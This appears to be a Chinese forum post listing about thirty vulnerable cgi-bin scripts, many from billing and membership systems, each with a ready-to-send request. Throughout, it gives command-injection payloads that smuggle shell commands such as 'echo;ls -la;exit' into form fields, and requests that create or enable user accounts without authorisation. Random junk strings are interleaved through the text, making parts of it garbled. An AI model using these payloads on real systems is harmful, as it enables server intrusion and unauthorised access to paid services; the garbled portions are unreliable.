Cgi-bin 30个漏洞＋使用方法

admin

==============================
2 `/ B7 n1 b& T
% S1 T/ _8 V  R7 `/smspass.pl
$ G: Y* u8 h- o# yusername=username&password=password
9 j' i' {' S( B" B
/index.cgi
: r9 a* z5 b) B- U: ]  Owei=ren&gen=command

/passmaster.cgi
7 N! s  W3 L- }5 _* G8 n, OAction=Add&Username=Username&Password=Password

/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
+ ~9 v3 D3 f7 l
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

2 T7 d7 ~' R' d- \& ~9 p5 F$ o/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

/ccbill-local.asp
post_values=username:password
) q2 E. P% x/ d+ l7 a9 |
" @/ a( Y; a4 h* g. j) u# ]& w/count.cgi
pinfile=|echo;ls -la;exit|

! X$ D* {2 n0 t! l; E/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
" S9 y0 E% ]) e
1 Z2 d8 L4 J, p- r3 k+ E/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

" j% e- ]- @1 [7 [7 I+ P/af.cgi
_browser_out=|echo;ls -la;exit;|

/modify.cgi
username=username&password=password&expire=30

/openjournal.cgi
4 G, D4 V4 l2 G- U$ l4 {- fedit=1&ct=2&go=|echo;ls -al;exit|
3 V  Q" h  J' j8 k% |9 e. U
( w$ \  g) ^( P' `& o1 {* f) l* R5 Y  ^/gx9passwd.cgi
cmd=ADD&user=username&pass=password
% O6 J1 M  x" E6 ~; U
4 \; [, k% [, ]8 a: F' V5 f/probecontrol.cgi
/ P* T9 }0 r0 @7 M9 |command=enable&username=username&password=password
4 q& K; p* f( Y9 [0 R9 m
  K. `4 h) r+ J" j8 M4 l: B  e/recon.cgi
8 J7 M2 B* U3 p2 {( k# asearchoption=3&searchfor=echo;ls -la;exit

% S7 ]- _2 s- ~* o! P; o& _+ s/htadd.pl
configfile=|echo; ls -alt; exit
% F7 h* g. n/ n: d6 L( S
6 @$ d8 w- A) s/gx9passwd.cgi
, J/ a8 @6 |2 s9 x+ l$ U4 w3 Ucmd=ADD&user=username&pass=password
, j0 y2 {0 U9 H  r
* g5 C+ C) d2 v' x& W3 w! b6 h7 p/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
! ~6 }$ }- W; I. W
6 C* l* H! M0 @/cpay.cgi
8 M" c" H# r  h0 D# ?) gcommand=add_member&username=username(EMAIL)&password=password(DES)
/ p! G) Q/ N  r8 d
, B2 R) ^; r- @  r7 C7 a/globill_ut.cgi
do=add&username=username&password=password&wpassword=password
/ D0 H5 e( u3 ~% h
4 o% _. ]' |  P2 _1 }7 G- P/usercontrol.cgi
command=enable&username=USER&password=PASS

8 g9 `$ C1 ?9 O; Z/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS

/pincount.cgi
7 _3 V7 _6 q. }) I, G4 I/cgi-bin/mastergate/pincount.cgi
* d" \0 Z4 X. y6 D  i  ~pinfile=|echo;pwd;exit|
6 N1 [, `7 ^- F/ q3 J1 n% e
/accountcreate.cgi
! O: z' I% ]' [, W: O( r/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

, F! @* P( n& E9 z) z$ J. E/af.cgi
/env.cgi
ADD+;echo;pwd;exit

/count.cgi
pinfile=|echo;pwd;exit|

* d6 t# Q3 I! ^/recon.cgi
8 Z, C  q+ ~/ v* a7 hsearchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
+ G5 H( k2 m, Uusername=username&password=password&expire=30

==============================
9 j: ]: f7 f9 P- G' Z- S